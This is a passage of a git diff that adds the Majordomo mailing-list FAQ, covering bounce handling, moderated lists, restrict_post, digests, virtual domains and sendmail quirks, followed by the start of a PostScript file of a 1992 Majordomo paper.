want to take the opportunity to upgrade Perl, too) + +2.10 - A list is visible via lists, but can't subscribe or 'get' files + +[From Brent Chapman] +I'll bet your list name has capital letters in it... Majordomo smashes all +list names to all-lower-case before attempting to use the list name as part +of a filename. So, while it's OK to advertise (for instance) +"Majordomo-Users" and have the headers say "Majordomo-Users", the file names +and archive directory names themselves all need to be in lower case. If you +want to use mixed case, simply configure the list using the lower-case names +everywhere, except put the mixed-case version in the "-l" and "-h" flags to +resend. + +2.11 - I get "sh: wrapper not available for sendmail programs" + +You're on a system which uses smrsh. (sendmail restricted shell). You have +to configure smrsh to allow it to execute the wrapper. Normally this is done +by creating a symlink in /var/adm/sm.bin (in some it's /etc/smrsh) to +Majordomo's wrapper program. + +2.12 - I get "aliasing/forwarding loop broken" + +[ Reported by Wade Williams ] +Some people have noted sendmail will generate a bounce message if you send +to a list, but the list file is empty (there are no subscribers). Add a +subscriber to the list and the error should go away. + +You will also get this error if the permissions on the list file for that +list in the lists directory are too strict. If the list directory or list +file is not readable by sendmail, you will also get the error "Cannot open +/path/to/lists/listname: Permission denied". See Section 2.1 above for the +full discussion of how to correctly set permissions on directories and files +within Majordomo. + + ------------------------------------------------------------------------ + +Section 3: Setting up mailing lists and aliases + +3.1 - How do I direct bounces to the right address? + +You should use 'resend' to filter all messages. Make sure the "sender" +variable in the list config file points to "owner-listname" and that you +have defined the "owner-listname" alias to point to the owner of the list. + +What this does is force outgoing mail to have the out-of-band envelope FROM +be "owner-listname", and thus all bounces will be redirected to that +address. (This address is what gets copied into the message body as the +"From " or "Return-Path:" header). 'resend' also inserts a "Sender:" line +with the same address to help people identify where it came from, but that +header is not used in the bounce process. + +If you are using sendmail v8.x, you don't have to use 'resend' to do the +same thing. You simply have to define an alias like this: + +owner-sample: joe, + +Note the trailing comma is necessary to prevent sendmail from resolving the +alias first before putting it in the header. Without the comma, it will put +"joe" in the envelope from instead of "owner-sample". Either address will +work, of course, but the generic address is preferred should the owner ever +change. + +However if you choose not to use 'resend', you will have to do without most +of majordomo's other features like moderating, administrivia checks, and +others. + +3.2 - Semi-automated handling of bounced mail + +This is not true automation of bounced mail. What this does is the next best +thing. You unsubscribe the user from the list, but add the user to a special +'bounces' list (there's a perl script in the distribution called bounce you +run to make this easier) The majordomo maintainer then runs (out of cron) +the 'bounce-remind' script periodically, which sends mail to all the people +on the bounces list, saying essentially "you were removed from list 'foo' +because mail to you bounced. To subscribe yourself back to the list, send +the following commands ...". There's no facility yet for trimming the +bounces list, but it's easy to write one because the date the person was +added to the bounces list is included (so you could write a perl script +which removes anyone on the list for more than one week, assuming you run +bounce-remind more than once a week). There's no facility for automatically +detecting what addresses are failing. You have to determine that based on +the bounce messages you receive from other sites. + +[From John Rouillard] +Just create a mailing list called "bounces". I usually set mine up as an +auto list just to make life easier. + +All that "bounce" script does is create an email message to majordomo that +says: + + approve [passwd] unsubscribe [listname] [address] + approve [passwd] subscribe bounces [address] + +The [address] and [listname], are given on the command line to bounce. The +address of the majordomo, and the passwords are retrieved from the +.majordomo file in your home directory. + +A sample .majordomo file might look like (shamelessly stolen from the +comments at the top of the bounce script): + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.COM + bounces passwd3 Majordomo@This.COM + bounces passwd4 Majordomo@Other.COM + +A command of "bounce this-list user@fubar.com" will mail the following +message to Majordomo@This.COM: + + approve passwd1 unsubscribe this-list user@fubar.com + approve passwd3 subscribe bounces user@fubar.com (930401 this-list) + +while a command of "bounce other-list user@fubar.com" will mail the +following message to Majordomo@Other.COM: + + approve passwd2 unsubscribe other-list user@fubar.com + approve passwd4 subscribe bounces user@fubar.com (930401 this-list) + +Note that the date and the list the user was bounced from are included as a +comment in the address used for the "subscribe bounces" command. + +3.3 - What's this Owner-List and List-Owner stuff? Why both? + +[From David Barr] +The "standard" is spelled out in RFC 1211 - "Problems with the Maintenance +of Large Mailing Lists". + +It's here where the "owner-listname" and "listname-request" concepts got +their start. (well it was before this, but this is where it was first +spelled out) + +Personally, I don't use "listname-owner" anywhere. You don't really have to +put both, since the "owner" alias is usually only for bounces, which you add +automatically anyway with resend's "-f" flag, or having Sendmail v8.x's +"owner-listname" alias. + +(while I'm on the subject) The "-approval" is a Majordomo-ism, and is only +necessary if you want bounces and approval notices to go to different +mailboxes. (though you'll have to edit some code in majordomo and +request-answer if you want to get rid of the -approval alias, since it's +currently hardwired in) + +So, to answer your question, I'd say "no". You don't have to have both. You +should just have "owner-list". + +3.4 - How should I configure resend for Reply-To headers? + +Whether you should have a "Reply-To:" or not depends on the charter of your +list and the nature of its users. If the list is a discussion list and you +generally want replies to go back to the list, you can include one. Some +people don't like being told what to do, and prefer to be able to choose +whether to send a private reply or a reply to the list just by using the +right function on their mail agent. Take note that if you do use a +"Reply-To:", then some mail agents make it much harder for a person on the +list to send a private reply. The most important reason why Reply-To: to the +list is bad is that it can cause mail loops if any of the members of your +list are running fairly-common but broken software which doesn't know what +an envelope address is. (Many Microsoft products, as well as many other +PC-based non-SMTP/Internet mail systems which work through an SMTP gateway.) + +You should read the following FAQ on why you shouldn't set the Reply-To: +field. http://www.unicom.com/pw/reply-to-harmful.html + +If you are using resend, use the 'reply_to' configuration variable in the +list .config file. + +3.5 - How can I hide lists so they can't be viewed by 'lists'? + +That is what advertise and noadvertise are for. These two variables take +regular expressions that are matched against the from address of the sender. +A list display follows the rules: + + 1. If the from address is on the list, it is shown. + 2. If the from address matches a regexp in noadvertise (e.g. /.*/) the + list is not shown. + 3. If the advertise list is empty, the list is shown unless 2 applies. + 4. If the advertise list is non-empty, the from address must match an + address in advertise. Otherwise the list is not shown. Rule 2 applies, + so you could allow all hosts in umb.edu except hosts in cs.umb.edu. + +3.6 - How can I restrict a list such that only subscribers can send mail to +the list? + +See the restrict_post variable in the config file. Just set it to the +filename that holds the list of subscribers, which is just simply the name +of the list. ("restrict-post = listname"). However, there is an issue to +keep in mind. Majordomo works by filtering the messages coming in through +the "listname" alias, doing its dirty work, then passing the resulting +message out to another alias you define like "listname-outgoing". If you +trust people to not send mail directly to the "listname-outgoing" alias, +then you'll be fine. If however you're not trusting, there are several steps +to make sure people don't bypass the restrictions of the list. + +There are several methods. First you need to change your "listname-outgoing" +alias such that it is not obvious. (That means don't use something easy to +guess like "-outgoing" or "-list"). Next, you need to make it such that +people can't find out what your -outgoing alias is. + +You can use the "@filename" directive of resend. Put the all the normal +command-line options of resend into a file readable only by the majordomo +user/group. Then the alias for the list simply becomes ".../resend +@/path/to/filename". This will make it such that you can't find out the +-outgoing address by connecting to your mailer and doing an EXPN or VRFY. +The "@filename" directive seems to have fallen into undocumentation for some +reason. This should be fixed in future releases. This doesn't prevent a user +reading the local /etc/aliases file (if they can), however. + +Another approach is to simply disable EXPN or VRFY altogether. See the +documentation for your mailer on how to do this. In sendmail this is done by +adding "noexpn" to the "O PrivacyOptions=" line in your sendmail.cf +(multiple options are separated with a comma). However this doesn't prevent +a local user reading the aliases file. This isn't generally a problem if +your mail server is restricted to staff only users. + +Unfortunately, Sendmail 8.x will log your -outgoing alias in the "Received:" +lines. To prevent this you need to specify more than one address for the +list name argument to resend. (for example +"mylist:|"/usr/local/lib/majordomo/wrapper resend -h foo.org -l mylist +mylist-seekrit,nobody"" where nobody is an alias for /dev/null) For Sendmail +8.x you must not define an alias 'owner-mylist-seekrit' to be something like +'owner-mylist,' (with the comma). Otherwise sendmail will set the envelope +address of outgoing mail to contain your secret outgoing alias. Again if +you're using the @filename directive, the entire command line is simply put +into the specified file (starting with "-h foo.org ...". + +Here's another creative idea from matt@primefactor.com (Matt Perry): + +I've had a report that this no longer works with sendmail 8.9.1 + +Sendmail allows you to rewrite incoming and outgoing addresses. The one that +handles incoming is virtualusertable.text. For a list called test with the +test-outgoing alias, I put the following into my virtualusertable.text file +and remade the db with the appropriate command: + +test-outgoing@mydomain.com error:nouser User unknown + +Sendmail can still get to the alias and expand it into the list of +recipients. However, any mail that appears at port 25 marked for +test-outgoing@mydomain.com will bounce back with "User unknown". + +Finally it should be noted that it is impossible with any of these methods +above to prevent people from forging mail as someone who is subscribed to +the list, and sending to the list that way. Of course a spammer can also +subscribe to the list legitimately and then send spam. The restrict_post +option blocks the vast majority of problems, however. + +3.7 - Can I have the list owner or approval person be changeable without +intervention from the Majordomo owner? + +Sure! Just make owner-listname and/or listname-approval be another majordomo +list. (probably hidden, for simplicity's sake) + +3.8 - What are all these different passwords? + +Think of three separate passwords: + + 1. A master password that can be used by both resend and majordomo + contained in [listname].passwd. To be used by the master list manager + when using writeconfig commands etc. This allows someone who handles a + number of mailing lists all using the same password. This is also a + "backup password" in case the .config file gets corrupted. + 2. A password for the manager of this one list. The admin_passwd can be + used by subsidiary majordomo list maintainers. + 3. A password for those concerned with the list content (approve_passwd) + +This way the administration and moderation functions can be split. The +original reason for maintaining [listname].passwd was to allow a new config +file to be put in if the config file was trashed and the admin_password was +obliterated, and may still be useful to allow a single password to be used +for admin functions by the majordomo admin or some other "superadmin". + +Note that the admin passwd in the config file is not a file name, but the +password itself. This is the only way that the list-maintainer could change +the password since they wouldn't have access to the file. + +3.9 - How do I tell majordomo to handle "get"-ing of binary files? + +Majordomo is not designed to be a general-purpose file-by-mail system. If +you want to do anything more than trivial "get"-ing of text files (archives, +etc) than you should get and install ftpmail. Majordomo has hooks to allow +transparent access to files via ftpmail (see majordomo.cf). See the +beginning of this FAQ for where to get ftpmail. + +3.10 - How do I set up a moderated list? How do I approve messages? + +First, you need to tell Majordomo that the list is moderated. In the +configuration file for the list, you set "moderate = yes". Do not try to use +the now-deprecated "-A" option to resend. In fact you shouldn't be using ANY +options to resend except "-h" and "-l", since all the others are handled in +the config file. + +Any mail which is not "approved", gets bounced with "Approval required". If +the moderator wishes to approve the message for the list, then you need to +tag the message as "approved" and send it to the list. The "approve" script, +which comes with Majordomo, automates this for you. Whenever you get a +message which needs approval, from your mail reader pipe the message through +"approve". The password for each list needs to be put in your .majordomo +file. Read the "approve" script for more information. + +If you don't have access to "approve" (e.g. you're not on a UNIX system with +Perl), you have to do it by hand. The easiest way is to forward the original +message to the list, add the line "Approved: approval-password" to the very +first line of the body, and then the entire contents of the original +message. (meaning there should not be a blank line before and after the +"Approved:" line.). Don't forget to edit out the headers which were added by +the bounce process. + +For example: + +To: your-list@example.com +Subject: doesn't matter + +Approved: your-approval-password +Received: by some.site.org.... +Received: by another.site.org.... +From: joe@another.com (Joe User) +Subject: this list is great! +To: your-list@example.com + +Hey, this list is great, and the moderator sure is sexy! + +Joe + +It's also possible, if your mailer allows it, to approve a message another +way by just inserting an Approved: header in the original body and passing +the original message on without adding your own header. This is in a sense +"forging" mail, so many mailers either won't allow it or will insert some +sort of authentication warning. This form is used most often by moderators +when they send mail to the list and don't want to go and approve their own +message again. Here's an example: + +To: your-list@example.com +Approved: your-approval-password +Subject: Thanks! + +I like this list too, but sorry, I'm married! :-) + +-- your moderator + +Note that this requires a mail-user-agent (MUA) that allows one to add +headers to a message. If your MUA doesn't let you do this, you'll need to +use the first method. + +Note that in either case the "Approved:" line will be stripped out by +Majordomo before it gets sent to the list, so the list members won't see +your list password. + +3.11 - How do I set up a digested version of a list? + +[ Modified from explanation given by jmb@kryten.atinc.com (Jonathan M. +Bresler)] + + * Create aliases for the mailing list and the digest. See section 2.2 of + the README for an example. + * create an alias for the majordom(o) user, so that his cron generated + mail comes to me, rather than just piling up in + /usr/local/mail/majordom. + * create the list's and the digest's files, (widget, widget-digest, + widget.config, widget-digest.config, etc.). Edit the + widget-digest.config file and make sure all the digest options are set + to your tastes. + * create the digest directory and archive directory. See FAQ section 2 on + how to set permissions on all majordomo files and directories. You must + have archives if you have digests so the digester can make the digest. + You can purge the archive after the digest is generated. + * Add yourself to both the mailing list and its digest so you can monitor + what happens...at least for a while (not a bad idea to create a dummy + user, and subscribe him to both the mailing list and its digest. This + preserves a record of messages for debugging. Don't forget to remove + this account and unsubscribe it after debugging.) + * Optionally you may use cron to send a mkdigest to push out a digest at + set intervals regardless of the number of queued messages. See the + question Why aren't my digests going out?". + +3.12 - How do I setup virtual majordomo domains? + +[From Alan Millar, et. al.] +Set up a majordomo.cf file for each virtual domain, defining $whereami as +appropriate. Use your mailer's virtual domain stuff to get to it, making an +alias for it if necessary. + +For sendmail, be sure to check out +http://www.sendmail.org/virtual-hosting.html first. + +Alias entry: + + majordomo-domain2: |"/your/wrapper majordomo -C /your/domain2.cf" + +Virtual domain stuff (in your virtusertable): + + majordomo@domain2 majordomo-domain2 + majordomo-owner@domain2 whoever + +I use the sendmail virtual domain examples right off the Sendmail FAQ. Works +for me. + +You'll need to modify request-answer slightly if you want the virtual host +to be used there in replies. Look for: + +From: $list-request + +in the source and change it to: + +From: $list-request\@$whereami + +Don't forget to use the -C option to request-answer for your virtual +aliases. + +Check out http://o2.towery.com/~ernestm/admin/majordomo/majorvirt.html also +for good instructions on configuring virtual domains with Majordomo. + +3.13 - How can I stop people from using my mailing list to spam my +subscribers? + +[From mcr@solidum.com (Michael Richardson) ] +There are two approaches to solving spam. They are complementary. + +The most general solution is to make sure that your list host will not +accept spam. See http://spam.abuse.net/ for extensive recipes on this. + +The majordomo specific way is to use the "restrict_post" mechanism to +disallow posts from addresses that are not on the list. Please see section +3.6 for some of the pitfalls of using restrict_post. They all apply. My +experience is that spammers have not yet learnt about the "-outgoing" alias, +and the techniques in section 3.6 would apply when they do. + +The major objection to using restrict_post to deflect spam is that it may +deflect posts from legitimate people -- people who've subscribed with one +address but are posting from another address. It may also restrict +cross-posts from other lists, or from people who read the list via news. + +The solution to the above objections is twofold: + + 1. the moderator must forward legitimate posts. This can be a pain, but it + does work. + 2. the restrict_post header can be extended. + +The typical way to do #2 is to set restrict_post to: + +mylist:mylist-nomail + +Then, create a configuration file and password for "mylist-nomail", but DO +NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner) + +The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list. + + ------------------------------------------------------------------------ + +Section 4: Mailer and list administration problems + +4.1 - Address with blanks are being treated separately + +If a subscriber to the list is +John Doe < jdoe@node.com> + +it gets treated these as the three addresses: +John +Doe +< jdoe@node.com> + +[From Alan Millar] +Majordomo does not treat these as three addresses. Apparently your mailer +does. + +Remember that all Majordomo does is add and remove addresses from a list. +Majordomo does not interpret the contents of the list for message +distribution; the system mailer (such as sendmail) does. + +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the end of +each line was effective to fix the problem, and I got to keep my comments. +So I patched Majordomo to add the comma at the end of each address it writes +to the list file. + +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. + +4.2 - Why aren't my digests going out? + +[from John Rouillard] + + echo mkdigest [digest-name] [digest-password] | mail majordomo@... + +This will force a digest to be created. Or you can set the max size in the +digest list config file down low, and force automatic generation. + +4.3 - Why do I get duplicate mail sent to the list? + +If you're running MMDF, read on: [From Gunther Anderson] +Well, I can tell you what happened to me recently. We use MMDF here, which +certainly colors the picture a little. What was happening here was that MMDF +was verifying the validity of the whole mailing list before returning from +the Submit call. The thing calling the Submit would time out and close, but +the Submit itself would still be running somewhere. The calling routine +would believe that the message had failed in its delivery, but the Submit +would eventually succeed. The calling process would try again some time +later. This, of course, is bad. The larger the list got, the more addresses +there were to verify (verification was really just a DNS search on the +target machine name), the more likely, under load, that the message would +duplicate. We finally got so large, with so many international addresses +(which seem to timeout on DNS queries much more often than US addresses) +that we were always duplicating. Infinitely (until I killed the original +submitter). + +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the addresses +before accepting a job. We used the list-processor channel, and only had to +check that the listname-request name was set properly, because +list-processor insists on making listname-request the envelope "From " +header name. + +If you're running Sendmail, this is more rare. There have been unconfirmed +reports that on some systems having the queue process interval set too short +can cause problems, even though sendmail is supposed to handle this. +Workarounds are to increase your queue process interval (-q flag), or +decrease the interval between queue checkpoints (OC flag in sendmail.cf). + +There have been many reports from Linux users complaining about duplicate +mail. The problem seems to be that flock() under Linux is broken. This may +be fixed in a future release, but for now in sendmail's conf.h in the #ifdef +__linux__ section add a line #define HASFLOCK 0. There are also reports that +some versions of the libc have problems, and that linking with the +libresolv.a from a recent BIND version will work around the problem. +[ Please let me know if you have any more information --ed ] + +4.4 - How do I gate my list to and/or from a newsgroup? + +The easiest method is to use a program called newsgate. You can find it at +ftp://ftp.isc.org/isc/inn/contrib/. Installation instructions are +straightforward, it provides sample entries for your newsfeeds/sys file and +aliases entries. The newsgate package includes news2mail and mail2news. + +4.5 - How can I improve Majordomo's performance? + +Mail to list throughput + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail to +the list. Upgrading your sendmail to version 8.x will improve things +greatly, as this version has a lot of enhancements which use connections +more efficiently. For most lists, this is enough. Majordomo itself doesn't +use very much in the way of resources except perhaps memory. Adding more +memory will help if your machine does a lot of paging during mail delivery. + +Using other mailers instead of sendmail has met with varying success. Exim +can also be used (see http://www.exim.org/). qmail has been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way than sendmail (some would say paranoid). See +http://www.qmail.org. The qmail site includes at least one way to get +majordomo to work with qmail. Note that it is possible to get majordomo +working under qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the Using Majordomo with qmail FAQ, written by +Russ Allbery. + +If you are using Exim instead of sendmail there are more things you can do. +Instead of concealing the -outgoing addresses, it is possible to configure +Exim so that those addresses are only usable by the local majordomo user. A +description of how to do that can be found at +http://www.netmaster.ca/exim/majordomo.html as well as other information +about configuring majordomo with Exim. + +If your lists are very large you may try installing bulk_mailer, by Keith +Moore. It pre-sorts the list into chunks grouped by site, and passes the +resulting chunks off to individual sendmail processes for delivery (see note +next paragraph). Get it from ftp://cs.utk.edu/pub/moore/bulk_mailer/. It +installs simply by replacing your usual -outgoing alias with (line wrapped +for clarity): + +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site + /path/to/lists/sample" + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one problem. +Until version 1.3 it didn't understand parenthesized comments in addresses, +resulting in incorrect sorting and reduced performance. Your list must be +configured with strip=yes in the list configuration file if you don't +upgrade to 1.3 or higher. + +TLB is another package which is like bulk_mailer, but has other features. +You can get it from ftp://ftp.hpc.uh.edu/pub/tlb/. The advantage of TLB is +its greater configuration flexibility, and also the fact that it's possible +with TLB to eliminate the -outgoing address, making configuration easier and +lists more secure. + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to verify that +the sender is subscribed to the list). Think twice about using this option +with very large lists. + +Majordomo command processing + +Most of the improvements in this are experimental and not widely available +or not yet completed but scheduled for future releases. Some areas include: +improvements in shlock.pl to use exponential backoffs to reduce contention +and starvation of locks, using some sort of dbz-style database for +subscription lists to speed up subscribe and unsubscribe commands, and +changes in the configuration file system to allow faster parsing and faster +execution of certain commands such as "lists". If you are interested in +working on improvements in this area, join the majordomo-workers list +mentioned above. If you make any specific patches or additions available, +please let me know so I can add references to it here. + +4.6 - How can I handle X.400 addresses? + +Majordomo by default treats addresses starting with "/" as "hostile", and +won't let people subscribe. This is to prevent someone from subscribing a +majordomo-owned filename to the list, and being able to write by sending +mail to the list. Unfortunately, all X.400 addresses begin with a "/". See +the $no_x400at and $no_true_x400 variables and the associated comments in +the majordomo.cf. There is a reported bug in 1.94 - you may need to change +both tests for these variables in majordomo.pl to put "main'" before them. +Like this: + + if (!$main'no_x400at) { + + if (!$main'no_true_x400) { + +This is fixed in Majordomo 1.94.1 and higher. + +4.7 - Why is the Subject of my messages missing? + +[from Dave Wolfe] +But it's not. Oh, you probably mean "Why is the subject line of messages to +my moderated list blank?" Because you didn't include any headers after the +Approved: header in the body of the messages. Or you deleted them when you +approved the bounced messages. + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original message +(as opposed to a bounced message), you have to also fill in some headers to +be sent out, such as Subject:, To:, and From:. + +See section Question 3.10 on how to approve messages to moderated lists. + +This is also explained in Doc/list-owner-info, which should be sent to all +list owners and moderators. + +4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I +stop this? + +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you why +in the Subject of the message. Here's a list of the most common bounce +reasons: + +An "Admin request" bounce means that the list is configured to filter out +what it thinks are "administrivia" messages, and it thought that message was +one. These are messages such as "subscribe" or "unsubscribe" or "help", +which get sent to the list instead of majordomo. Lists generally have this +turned on by default. If you don't like it, set "administrivia=no" in the +list config file. If that doesn't work, check your aliases to make sure the +"-s" option to resend isn't being used on that list. + +An "Approval required" bounce means that the list is moderated, and the +message needs to be approved. (see section 3.10 of this FAQ) + +A "Message too long" bounce means that the message was longer than the +"maxlength" setting in the list config file. + +If you get any of these bounces messages and you think the mail is OK to +send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this FAQ. + +4.9 - My list configuration doesn't seem to be working. + +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 of this FAQ on +how to set up the aliases for the list correctly to pipe mail through +"resend". + +Other things to check would be that the arguments to "resend" are only "-h", +and "-l" (and perhaps "-C" if you use virtual domains). resend used to be +configured with other command line flags to do things such as have moderated +lists. However these flags override any config file settings, so remove them +if they are present. All configuration should be done now through the config +file. + +4.10 - How do I set it up so that the originator of a message doesn't get a +copy of his/her own message back? + +You can't. Sorry. The "metoo" setting in sendmail has no effect after a +message is piped through an external program. Unless you're willing to give +up piping messages through "resend", there's no way to stop this. + +4.11 - With Smail or Exim, users subscribing to a list sometimes get mail +sent before they subscribed + +[from Lazlo Nibble and Philip Hazel] +This is due to the way Smail and Exim deliver mail. With sendmail, it +expands its delivery list when the mail first arrives. If the list gets +changed, the message will still get delivered to the original recipient +list, since the original list is never referred to again. As sendmail +delivers mail, it removes addresses from its expanded list as they get +delivered. + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long as the message +is queued waiting for one or more addresses in the list, it will get sent to +any new recipients whenever the queue gets processed next. This is rather +unexpected for those used to sendmail's behavior. + +The advantage of smail and exim's approach is that if an address in your +list is unreachable (or has a bad .forward file), you can change the list +contents (or the .forward file) and the message will be delivered to the new +address when the queue next gets processed. It won't deliver to the old, bad +address. + +There really isn't an easy solution to this, but it's really not a serious +problem. + +4.12 - Majordomo doesn't seem to work with sendmail 8.9 + +The new security features of sendmail don't allow :include: directories to +be group writable. Unfortunately, by default these directories are group +writable with Majordomo. If you have this problem you will see errors from +sendmail like "Cannot open /path/name: Group writable directory" and +"aliasing/forwarding loop broken". + +One solution is to add: + +O DontBlameSendmail=groupwritabledirpathsafe + +in your sendmail.cf and restart sendmail. + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure also +any parent directories to not have the group or other write bit set. If +Majordomo is working correctly having group write permission is not +necessary. However, some people find it convenient to have group-write +access so users can be put in the majordomo group and not need root access +all the time to work on majordomo. + +4.13 - I can't get Majordomo to work with RedHat Linux + +If you are trying to use the Majordomo RPM, it is broken. The majordomo.cf +which comes with the RPM has the line + +$whereami = `hostname`; + +This is broken for two reasons. First, the hostname may not necessarily be a +fully-qualified domain name, and thus this won't generate a valid Internet +email address. Secondly, using `hostname` generates a linefeed character at +the end, which totally screws things up, and you end up getting blank lines +in headers (and you'll start to see headers appear in the body of the +message). + +The solution is to edit the line and put in your correct host name or mail +domain. + +A bug report has been filed with RedHat. + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which does +not work with Majordomo. (you will get "Unknown mailer error 9" errors). +Download and install the updated Perl RPM from ftp://updates.redhat.com/. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps new file mode 100644 index 0000000..ecae347 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps @@ -0,0 +1,8203 @@ +%! +%%Creator: troff->tpscript +%%CreationDate: Wed Sep 9 11:39:31 1992 +%%EndComments +/inch { 480 mul } bind def +/rotateit { /pgtop 11 inch def /pgwid 8.5 inch def newpath } bind def +/scaleit { 72 480 div dup scale rotateit 1 setlinecap} def +/unscaleit { 480 72 div dup scale} def +/RBKFontDict 9 dict def /NEWDict 10 dict def +RBKFontDict begin +/FontType 3 def +/FontName (RBK specials) cvn def +/FontMatrix [ 0.001 0 0 0.001 0 0] def +/FontBBox [ -50 -250 1000 1000 ] def +/Encoding 256 array def 0 1 255 { Encoding exch /.notdef put } for +Encoding +dup 2 /Csq put +dup 3 /Cci put +dup 4 /Cbx put +dup 5 /CSu put +dup 15 /Cbu put +pop +/CharProcs 24 dict dup begin + /setC { 0 -50 -250 1000 1000 setcachedevice} def +/Cbu { 0 0 moveto +600 setC +300 300 moveto 300 300 250 0 360 arc closepath fill } def +/Csq { 0 0 moveto +600 setC +50 50 moveto +500 0 rlineto 0 500 rlineto -500 0 rlineto closepath fill } def +/Cbx { 0 0 moveto +600 setC +70 setlinewidth +50 50 moveto 500 0 rlineto 0 500 rlineto -500 0 rlineto closepath stroke } def +/Cci { 0 0 moveto 600 setC +70 setlinewidth +550 300 moveto 300 300 250 0 360 arc closepath stroke } def +/CSu { +0 0 moveto +715 setC +700 700 scale +%% Kolstad & Horton/Polk 12/1989; Font: kolstad 6/24/90 +/divsq2 { 1.4142136 div } bind def /mulsq2 { 1.4142136 mul } bind def +/TW 0.62 def %% top width +/MG 0.12 def %% MidGap +/US TW 4 mul MG 6 mul add def %% Uside +/UL US TW sub MG sub def %% U length +/OR MG TW add def %% outradius +/T2 TW divsq2 def +/U2 UL divsq2 def +/M2 MG divsq2 def +/SU { %% sunU + currentpoint + T2 dup neg rlineto + U2 neg dup rlineto + currentpoint exch M2 add exch M2 sub MG 135 315 arc + U2 dup rlineto + T2 dup neg rlineto + U2 neg dup rlineto + currentpoint exch OR divsq2 sub exch OR divsq2 add OR 315 135 arcn + closepath + moveto +} def +/SU2 { SU currentpoint 0 US neg mulsq2 rmoveto 180 rotate SU -180 rotate + moveto } def + 1 US mulsq2 2 mul div dup scale + US divsq2 US mulsq2 US divsq2 add rmoveto + 4 { M2 2 mul M2 2 mul rmoveto US mulsq2 0 rmoveto 270 rotate SU2 } repeat +%% 0 setlinewidth stroke + fill +} def +end def + +/BuildChar +{ + NEWDict begin + /charcode exch def /fontdict exch def + fontdict /CharProcs get begin + fontdict /Encoding get + charcode get load + gsave 0 setlinecap 0 setgray newpath exec grestore + end end +} def +end +/RBKFont RBKFontDict definefont pop +%%%%%%%%%%%%%%% End special Font +scaleit 0 0 moveto +/pagebot { showpage restore } def +/pagetop { save } def +/lastpage {} def +/pt { 6.666667 mul } bind def +/y { neg 0 exch rmoveto } bind def +/X { U moveto } bind def +/Y { pgtop exch sub currentpoint pop exch dup /U exch def moveto } bind def +/s { show } bind def +/S { dup gsave show grestore + gsave true charpath 0 setgray stroke grestore } bind def +/l { neg rlineto currentpoint stroke dup /U exch def moveto } bind def +/c { +2 div /rad exch def currentpoint /y0 exch def /x0 exch def +newpath x0 rad add y0 rad 0 360 arc stroke +x0 rad add rad add y0 dup /U exch def moveto + } def +/a { +/y2 exch neg def /x2 exch def /y1 exch neg def /x1 exch def +x1 y1 rmoveto currentpoint +currentpoint +x2 x2 mul y2 y2 mul add sqrt +y1 neg x1 neg atan +y2 x2 atan +newpath arc stroke moveto x2 y2 rmoveto currentpoint /U exch def pop +} def +/e { +2 div /yrad exch def 2 div /xrad exch def +currentpoint /y0 exch def /x0 exch def +gsave x0 xrad add y0 translate xrad yrad scale +LS xrad yrad gt {xrad} {yrad} ifelse div setlinewidth +newpath 0 0 1 0 360 arc stroke grestore +x0 xrad add xrad add y0 dup /U exch def moveto +} def +/spln { +rcurveto currentpoint stroke dup /U exch def moveto +} def + +% stolen from greenbook page 115-116 +/F { findfont exch scalefont setfont } bind def +/RE { % re-encode + findfont begin + currentdict dup length dict begin + { 1 index /FID ne {def} {pop pop} ifelse } forall + /FontName exch def dup length 0 ne { % if + /Encoding Encoding 256 array copy def + 0 exch + { % forall + dup type /nametype eq % if? + { Encoding 2 index 2 index put pop 1 add } + { exch pop } + ifelse + } forall + } if + pop currentdict dup + end + end + /FontName get exch definefont pop +} bind def + +% use make.remap to make new stdencodings: +/stdencoding [ 1 /multiply /ntilde /eth /otilde /oacute /idieresis +/Ocircumflex /ograve /onequarter /scaron /uacute /odieresis +/Ucircumflex /ugrave /yacute /Thorn /zcaron /udieresis /threequarters +/threesuperior /ydieresis /aring /Ccedilla /twosuperior /acircumflex +/Atilde /Aacute /Agrave /ecircumflex /Eacute /copyright 127 /Adieresis +/Egrave /icircumflex /Iacute /onehalf /Edieresis /Igrave /Ntilde /Eth +/ocircumflex /Otilde /Oacute /Idieresis /mu /Ograve /Scaron +/ucircumflex /Uacute /Odieresis /Ugrave /Yacute /thorn /degree +/logicalnot /minus /Zcaron /Udieresis /registered /plusminus /ccedilla +/Ydieresis /Aring /atilde /aacute 176 